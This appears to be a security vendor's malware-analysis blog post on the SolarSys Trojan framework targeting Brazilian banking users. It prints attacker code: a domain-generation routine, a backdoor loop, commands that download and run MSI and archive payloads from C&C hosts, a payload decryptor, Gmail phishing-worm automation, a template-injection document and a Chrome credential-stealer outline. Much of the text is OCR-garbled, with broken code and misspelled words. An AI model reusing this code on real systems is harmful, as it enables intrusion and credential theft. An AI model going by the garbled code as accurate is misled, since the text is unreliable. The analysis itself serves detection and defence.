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Recently, 360 Security Center has detected a variety of hacking Trojans through the fileless
attack protection function , and Trojans spread through the new Trojan distribution
framework. According to the framework’s peculiar naming method, we named it SolarSys.
SolarSys is mainly active in Brazil (South America), and Brazil has always been one of the
regions where banking Trojans are extremely active. The SolarSys framework is mainly
composed of JavaScript backdoors, mail worms and multiple spy modules. The overall

structure is as follows:
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The framework uses dozens of dynamic domain names as C&C server addresses and uses
the word-combination of DGA algorithm to generate domain names randomly. When security
vendors block some of the domain names, hackers will quickly activate new domain names
to ensure that the overall botnet will not be affect. The domain name that generates logic is

as follows:
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var ondL:Lstl H=]

var wordlists

1:

fonction GetWeek(dt) {

return (new CulturelInfo("emn 57} ) .Calendar.GetWeekOfYear (dt, CalendarWeekRule.FirstDay, DayCfWeek.Monday):

£
£

}

fonction GetDomainHashByWeek(dt) {
var n = GetWeek(dt):
var year = CultureInfo.InvariantCulture.Calendar.GetYear (dt) !
var wordl = wordListl[n % wordListl.Length]:
var word2 = wordListZ[n % wordList2.Length]:

return wordl + '-' + word2 + year;

Backdoor components

At first, we intercepted a large number of fake MSI installers, many of them were Java,
Microsoft Html help and other programs. After the program runs, it will call InstallUtil
(T1218.004) to execute the malicious .Net dynamic library uninstall.dll:

funcionalidades, comegdes de vulherabiidades e melharias de desempenho das versies anteriores.
Clique em “Avangar para iniciar a instalago.

Atengdo: O cancelamento desta instalag8o pode resultar em mal funcionamento dos componentes
doJava Runtime & do ‘Windows.

< Wolkar Cancelar < Waltar Carcelar

— * ’E Microsoft HTML Helpl — *
Bem-vindo ao Assistente para Instalagdo do (- Confirmar Instalagdo (-
Produto Java Runtime v e
A versdo maiz recente doJava é zempre a recomendada por conter atualizagdes de 0 produto Microzoft HTHML Help estd pranta para ser instalado no computador.

Bﬁlmsiexec.exe (3444} C:\Windousksystem32\msiexec.exe
{#insiExec._exe (3536) C:yWindowsysystem32\MsiExec.ex
ﬁJMsiExec.exe (3496) C:\Windows\system Description: NEI'FrameworklnstaIIahon utility
B jiiMsiExec.exe (2996) C:\Windows\system Company:  Micosoft Corparation
B@.wscript exe (1036) C:\Wind \Systenm, Path: C:\Windows\Microsoft. NET\Framework\y 2. 0. 50727\ InstallUtil. exe
CEicnd.exe (1208) C- \mnduws\SystemlC"mma”d C:\Windows\Microsoft. NET\Framework 2.0, 50727\ Installutil.exe fu uninstall.dll ff=engine.bin I

ElInstallUtil.exe (928) [C:\MWindows\Hicrosoft.NET\Frameworkiv2.8.50727\InstallUutil. exe
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uninstall.dll uses the interface provided by the Microsoft.Jscript module to execute the

JavaScript backdoor in memory, register itself as a self-starting, and run Install.js according

to the configuration file issued by the cloud:

[ function runTaskList() {

[ function SavelnwvizikleFile () {

funetion main() {
var counter:int = O;

S fConsole.Writeline (GetDomainHashByWeek (DateTime.How) ) ;

fSireg autorun

Sf drop Invisible.vbs

google . com™,
wikipedia org™,

.onlineh ftarefas’/install

.gs"

while (true) {
try {
= if ({(counter % 1) = 0} {
SetRegValue () ;
= |
= if ((counter % 10) == 0} {
SavelnvisibleFile() ;
= |
— if ({counter % (c0 & ©)) = 0} {
E runTaskList () ;
= f* obj = {
"yalid": true,
"tasks": [
"https: S
"hegpash S Sy
"http: WS
1
- ;P rS
= |
= |
= catch (g) {
I
= |
Thread.Sleep (1l000}) ;
countert+;
= if (counter = &0000) {
counter = 07
= |
= |
-1
main() ;

Install.js downloads and executes the latest virus module execution every 11 hours:

3/12


https://static.ts.360.com/blog/wp-content/uploads/2020/10/14.4.png

var firstRun = false;

const pkgl = "CHAESZ';
FHif ('File.Exists(pkgl)) f{

var fileDt: DateTime = File.GetCreationTime (pkgl) :
var diff = DateTime.Now.Subtract (fileDlt) ;

Eif ({diff.Hours > 11} || (firstRun)) {

try |
downloadindExecPackage (

Console.WriteLine |
exec ("msisxec /i http:// .online/pacotes/chstea vl.msi /g", "™, ")

[T}
=
e

)i

i “ f

= 1

= catch () {
£

s 1

= try {
downloadindExecPackage (

)i S
B Iz

(new WebClient()) .DownloadFile |
"http:// .online/pacotes/elektral.zip™,
"elektral.zip"™

Vi

i “ f

s 1

= catch (=) {
fr

- 1

File.Delete(pkgl) :
(File.Create(pkgl) ) .Close (),

-}

Downloaded components are used in Delphi, and both use the same core code obfuscator to
obfuscate, confuse code as follows:
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ui
if
{

vl =

=u
{ v

Ret
if
{
vz
T1]
if
1

CreateFileW({L"chaes1.bin**, GEMERIC_READ, 3u, 8, 3u, 8, B8)

o3
8 t= (HANDLE}-1 )

= GetFileSize{ud, 8);
Ret 3}

= UirtualfAlloc B{8, Ret, Bx38808u, PAGE_READWRITE);
= u2;
{ vZ2 )

memset{v?, Het, B);

if { ReadFile{vi, v3, Ret, &Ret, B8) )

1
vl = DecodeBuffer{{int)uvd, (int)&key, Bx4B8u, &Rel};
21 = Fob;

D11Entry = DecodeBuffer{{int)&unk_3F@554, (int)&key, @=4Bu, (SIZE_T =)&u21);

ul3d = ul;
vS = LoadLibraryW{L"kernel32 . d11"});
vilh = get_proc_addr{vs, L"Uirtualfalloc™);

v =
vis
vy =
viG
g =
viy
vig

19 =

LoadLibraryW{L"kernel32 . d11");

= get_proc_addr (v, L"LoadLibraryn®™);
LoadLibraryW{L"kernel32 . d11");

= get_proc_addr{v?, L"GetProcAddress'});
LoadLibraryW{L"kernel32 . d11");

= get_proc_addr{v2, L"UirtualProtect'};
&u19;

8;

{{void { stdcall =){ WORD ==)}D11Entry){&ui3);
CloseHandle_@8{u1};
VirtualFree B{v3, @, Bx88808u);

The algorithm for decrypting core PE files is as follows:
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_WORD = userpurge DecodeBuffer@<{eax>{int buf@{eax>, int keyR<{ed=>, unsigned int sz_key@<ecx>, SIZE_T =5z buf)

{
f/ [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

u11 = 52 _key;

u12 = key;

v13 = buf; // HEM_COMMIT|MEM_RESERUE
out = UirtualAlloc O{@, *sz buf, Bx3000u, PAGE_EXECUTE_READWRITE);

u5 = out;

if  out )

{

memest(out, =5z buf, 8);
U6 = %52_buf;

i= 8;
do
{
g =1 % vi1;
if (1% 3)
vl = =( BYTE *)}{i + v13) ™ ~(uvi1 - ug);
else

v9 = =( BYTE =){i + vi3) = ~(_BYTE)i;
*{{_BYTE =)uS + i) = u9;
=({_BYTE =)u5S + i++) "= ~=( BYTE =){uvi2 + ug);
--ub;
H
while { vt });
H
return vG;

H

Then get the backdoor instruction and execute it after parsing, the instruction content is as
follows:

|=| instruetions. iniF9

1 [Instructions]
numkber=2
=l [n1]
: name=chsteall
= command=hhc.exe
6 password=luciferlives
T url=http://f onlinefpacotes/chsteall . rar
8 -eXecution=restart
&  Hin2]
10 name=spma
11 command=pythonw.cxe
12 password=spnspm
13 url=http:/ /i onlinefpacotes/spm2 .. rar
14 -execution—always

Mail worm

SolarSys will deploy a set of nodejs environment on user computers and run malicious
JavaScript scripts. By simulating a click, send a phishing email to the current user’s friend:
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let account url = “https://mail.google.com/mail/u/${CONFIG.current account}/
conzole.log(account_url)
await page.goto{account url, { // Inbox loaded

const $cuIIent_uIl = page.url()

const Surl match = [ /mail/u/S{CONFIG.current account}/
console.10gt$current_url}

console.logt$url_match}

if (!Scurrent url.includes(Surl match)) { // get accounts
await page.screenshot ({ path: 'print 1 inbox.png', fullPage: true })
console.log('Finding all contacts )

// Hew email button click
const fnewEmailButton = ~[jscontroller] > [id] > [class] > [id] div[style] [role='button'][class]"

try {

await page.click(SnewEmailButton) Jf Click on the simulation
S/ Select contacts (To) click
const SselectContacts = °[data-tooltip="Select contacts"], [data-tooltip="Selecionar contatos"]"

await page.waitForSelector (SselectContacts)
await page.click($selectContacts)

f/ Finds contacts iframe

const ScontactsDialog = [ [role="dialog"] iframe"

await page.waitForSelector (ScontactsDialog)

const Spresentaticon = " [aria-lakbel="Contacts group menu"] [role="presentation"], [aria-lakel="Menu dos

const elementHandle = await page.$ (ScontactsDialog)
const frame = await elementHandle.contentFrame ()

J/ Finds contacts group listbox
const ScontactGroup = C[aria-label="Contacts group menu”™], [aria-label="Menu dos grupos de contatos"]”

await frame.waitForSelector(ScontactGroup)
await frame.click(ScontactGroup)

Jfconst group = await frame.$ (ScontactGroup)
Jf Imnstalls regquests/responses interceptor

page.on|'response', async (response) => { J{send emails

// RAll contacts

The content of the phishing email sent by the remote server configuration:
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"attachment_json": [

= {
midn: =,
"title™: "Anexo.zip",
"description”: "Anexo",
"url": "BEESE/) /docx-php/wozd.phd"
r }
B 1.
midw: &,

"title™: "campanhaz2"™,
"description™: "descricao campanha 2",

"subject™: "Importante!! Clha pra mim por favor...",
"body"™: "tudo bem?? da uma olhada nisso com urgéncia para mim por favor???\r\mn\r\na senha do anexo & senhal23\r\n\r\nobrigado!!"™,
"enabled": 1,

"startAt™: "2020-0%-1% 11:15:08",
"endAt™: "2020-09-20 11:15:09",
"priority™: 1L,

"createdAt™: "2020-09-19 11:15:09",
"updatedAt™: "2020-05-1% 11:15:09%"

The attachment of the phishing email is as follows:
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! Avlso de Seguranc: Esse arquive possui informapdes sigilosas, para vissalizer o anquivo complets @ sem restricho se faz necessinio HABILITAR

O CONTELDO clicandao mo botdo acima.

The attachment uses template injection technology to download other malicious payloads:

|~ settings. zml. relsEd

1 <?xml wersion="1.0" encoding="UTF-8" standalone="yes"?>

2 <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
3 <Relationship

4 Id="rId1l"

5 Tyvpe="http://schemas.openxml formats.org/officeDocument /2006/relationships/attachedTemplate"”
[ Target="http:// Jword/tpl/?template=anexo”

7 TargetMode="External”

8 I

] </Relationships>

9/12


https://static.ts.360.com/blog/wp-content/uploads/2020/10/14.12.png
https://static.ts.360.com/blog/wp-content/uploads/2020/10/14.13.png

Unfortunately, we did not obtain the documents corresponding to the template during the
analysis process. It is estimated that the Trojan will be updated and distributed through this

channel in the future :

Spy components

The final released payload of chsteaO1.rar is the stealing module for Google Chrome
browser. The stolen data includes the account password for logging in to the website,
browsing history, etc. The code logic is as follows:

. text- 00524440 spy main
.text a8524440

-text:BASZ24440
-textiBa524840
-text - @A524hh4D
.text O852444F
-text:-@A524450
-text:BA524452
textiBa524457
-text: @AA5Z24450
.text a8524461
-text BA524066
.text O8524468
-text:-08524470
-text:BASZ24475
textiB852447R
-text OAA52447F
.text aa524481
. text 00524481 spy main

.text:B852444C ; DWORD  stdcall spy main{LPUDID 1lpThreadParameter)

proc near ; DATA XREF: 5uh_52u59E+E¢fu

push
mou

push
®or

call
call
call
call
call
call
call
call
call
push
call
endp

-text-@852444C 1pThreadParameter= dword ptr 8

ebp

ebp, esp

ebx

ebx, ehx

register_new _client
spy_pass_from _LoginData
spy_web_history
spy_HasterKey
spy_user_down_image
spy_user_info
spy_chrome_cookie
spy_chrome_webdata
spy_proc_info

a : uExitCode
ExitProcess 8

The final payload corresponding to BOM.bin is a banking Trojan. By detecting the webpage
the user browses, the fake online banking login interface shown in the figure below pops up,
tricking the user into entering various credentials for login, and submitting these credentials
to the hacker. Fraudulent banks include Banco do Nordeste, Banco Mercantil, CrediSIS,
Banrisul, Safra, Banco do Brasil, Bradesco, Banco Itau, Santander, Sicoob, banco inter,
Banestes, Banpara and other banks in Brazil.
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fi‘r Bradesco Diagnédstico de Médulo de Seguranca

Tarefas a Serem Executadas

A verificagao esta sendo processada...

Para sua seguranca, 0 acesso aos canais de auto-atendimento Bradesco possuem senhas especificas.

O sucesso dessa medida, no entanto, também depende de alguns cuidados que vocé pode ter com suas senhas
e gue contribuirdo ainda mais para sua seguranca.

Para confirmar sua titularidade, seu computador serd sincronizado com o sistema.

Digite a chave informada no visor do seu celular:

T wae T

Digite a chave G | | I Confirmar
B |l- SEGUHANCA o .
|nfnrmadagneuuxégnljurlgf e ? | (6 digitos)
ATENCAO: Nao desligue o computador até terminar a atualizacio.
ﬁb‘ Bradesco Banco Bradesco 5.A desenvolvido por TrUE;“EEiI"

SolarSys is a new Spy Trojan distribution framework. As of press time, only 360 company on
VirusTotal can detect and kill the Trojan:

1 (1) One engine detected this file > g = ¥ 2‘2

4bebcdfabbdbrae7148f6311abB4ed3040b4e10651737fdd18a5%c4e513897ae 1.92 KB 2020-09-27 06:37:39 UTC E
install js Size amoment ago J5
7
- . javascript
x  Community  /
Score
DETECTION DETAILS RELATIONS CONTENT SUBMISSIONS COMMUNITY

| 2020-09-27T06:37:3%9 v

Qihoo-360 (D) Virusjs.gexvme.l Ad-Aware (V) Undetected

)

Therefore, we recommend that the majority of users install the 360 Total Security to defend
and kill the SolarSys in time:
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@ =80 TOTAL secuRITY Upgrade Ng

D
'i'--. @ Found 5 item(s) to be resolved

Protection: On

(n —~
Check . - - . o

Full Check v High-risk items Sitem(s)
T - - —~ .
‘ %7 Virus Scan v O \hhadll Trojan.Generic i) Ca
o v O \hha_instll.msi Generic/Trojan.edg O &%

4’ Speedup
WO, \indexjs wirusjs.qexvme.1 Ii;l f;’é.
Cleanu P
[ﬁ‘ P v O \installjs wvirus js.qexvme.1 ) La
Ef:) Tool Box v O \uninstall.dll Trojan.Generic lii:l r\?’&.

Select All  Select Mone Report False Positives/Suspicious files

md>5:

c53210e162e9eda370cf95dc6e1d1459
276e306850bc2b3b14addaec65e3c8bf
45fe933866d02a45d081b737251e04f9
3d724dca9d42239aa606d2f90f325945
31e4b10819b36989f9e6853a79d5bd45
319d5239f301b0cf00a3d3aff7d0057f

Learn more about 360 Total Security
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